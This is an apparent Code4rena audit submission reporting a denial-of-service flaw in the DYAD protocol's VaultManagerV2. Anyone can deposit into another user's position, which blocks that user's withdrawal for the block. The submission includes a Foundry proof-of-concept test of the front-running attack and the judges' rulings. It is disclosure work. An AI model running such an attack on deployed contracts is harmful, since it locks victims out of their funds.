Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 171/183
Findings: 1
Award: $0.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143
In VaultManagerV2.withdraw() there is a check:
VaultManagerV2.sol#L143 143 if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
idToBlockOfLastDeposit
is a mapping used to check if there was a deposit in the same block. In this way, it is not possible to deposit and to withdraw from an id
position within the same block.number
.
The issue is that everyone can perform the VaultManagerV2.deposit()
to any id
position. An attacker could deposit a negligible amount of tokens to the victim blocking the victim's withdraw()
method for the current block.number
. Furthermore, the attacker could frontrun the victim's withdraw()
call depositing on the victim's position. In this way, the attacker can DoS the victim's withdraw()
action indefinitely using a negligible amount of tokens.
idToBlockOfLastDeposit
is modified only by VaultManagerV2.deposit():
VaultManagerV2.sol#L133-L153 118 /// @inheritdoc IVaultManager 119 function deposit( 120 uint id, 121 address vault, 122 uint amount 123 ) 124 external 125 isValidDNft(id) 126 { 127 idToBlockOfLastDeposit[id] = block.number; 128 Vault _vault = Vault(vault); 129 _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); 130 _vault.deposit(id, amount); 131 }
VaultManagerV2.deposit()
can be called to deposit an amount
of token to a specific vault
address and id
position. However, there is no check that the owner
of the id
position should be msg.sender
. So, it is possible to call VaultManagerV2.deposit()
and deposit an amount in the position of someone else.
As we said above, in VaultManagerV2.withdraw() there is a check:
VaultManagerV2.sol#L143 143 if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
So, if someone else has deposited an amount in my position in this block.number
, I can not call the VaultManagerV2.withdraw()
method.
We want to report a coded PoC. Alice and Bob have opened their positions: alicePosition and bobPosition, respectively. Alice deposits 1e10 WETHs in the wethVault
. Then, she tries to withdraw them without success, because it is not possible to deposit and withdraw in the same block.number
So, she waits for the next block.number
. When it arrives, she tries again to withdraw her WETHs. However, Bob frontruns this action, depositing 0.00000000000000001 (a negligible amount) on Alice's position. In this way, Alice's withdrawal attempt reverts.
function testDos() public { address alice = vm.addr(10); address bob = vm.addr(11); vm.deal(alice, 10 ether); vm.deal(bob, 10 ether); // Alice initialization vm.startPrank(alice); uint alicePosition = dNft.mintNft{value: 1 ether}(alice); weth.mint(alice, 1e18); weth.approve(address(vaultManager), 1e10); vm.stopPrank(); // Bob initialization vm.startPrank(bob); weth.mint(bob, 1e18); weth.approve(address(vaultManager), 1e10); //vaultManager.deposit(alicePosition, address(wethVault), 1); vm.stopPrank(); ////////////////////////////// // Alice's examples of actions ////////////////////////////// vm.startPrank(alice); vaultManager.deposit(alicePosition, address(wethVault), 1e10); // When Alice tries to withdraw, she fails because she has deposited in the same block.number vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); // revert because DepositedInSameBlock() vaultManager.withdraw(alicePosition, address(wethVault), 1, alice); vm.roll(block.number + 1); // In the new block, Alice succeeds to withdraw vaultManager.withdraw(alicePosition, address(wethVault), 1, alice); vm.stopPrank(); ////////////////////////////// // Bob attack ////////////////////////////// // For example, Bob could deposit 1 on Alice's position at the very beginning of each block // or use front-running to perform this action before Alice tries to withdraw vm.startPrank(bob); vaultManager.deposit(alicePosition, address(wethVault), 1); vm.stopPrank(); vm.startPrank(alice); vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); // revert because DepositedInSameBlock() vaultManager.withdraw(alicePosition, address(wethVault), 1, alice); vm.stopPrank(); }
Because tests don't cover VaultManagerV2 (but only VaultManager), we have modified the VaultManager.sol file to avoid recoding DeployBase.s.sol script:
@@ -37,6 +37,8 @@ contract VaultManager is IVaultManager { if (!vaultLicenser.isLicensed(vault)) revert NotLicensed(); _; } + mapping (uint => uint) public idToBlockOfLastDeposit; + constructor( DNft _dNft, Dyad _dyad, @@ -78,24 +80,34 @@ contract VaultManager is IVaultManager { uint amount ) external isValidDNft(id) { + idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); } /// @inheritdoc IVaultManager function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { + if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); + uint dyadMinted = dyad.mintedDyad(address(this), id); + Vault _vault = Vault(vault); + uint value = amount * _vault.assetPrice() + * 1e18 + / 10**_vault.oracle().decimals() + / 10**_vault.asset().decimals(); + //if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); - Vault(vault).withdraw(id, to, amount); + _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); } function mintDyad(
We want to underline that this attack can even be performed without frontrunning. Because it needs a negligible amount, Bob could decide to make DoS of Alice's withdrawal action whenever he wants during the remaining duration of block
.
Visual ispection
We suggest avoiding to deposit in positions where msg.sender != owner
.
DoS
#0 - c4-pre-sort
2024-04-27T11:39:15Z
JustDravee marked the issue as duplicate of #1103
#1 - c4-pre-sort
2024-04-27T11:45:38Z
JustDravee marked the issue as duplicate of #489
#2 - c4-pre-sort
2024-04-29T09:32:18Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-05T20:38:17Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T20:39:23Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2024-05-05T20:39:26Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#6 - c4-judge
2024-05-05T21:37:14Z
koolexcrypto marked the issue as nullified
#7 - c4-judge
2024-05-05T21:37:18Z
koolexcrypto marked the issue as not nullified
#8 - c4-judge
2024-05-08T15:28:03Z
koolexcrypto marked the issue as duplicate of #1001
#9 - c4-judge
2024-05-11T19:50:04Z
koolexcrypto marked the issue as satisfactory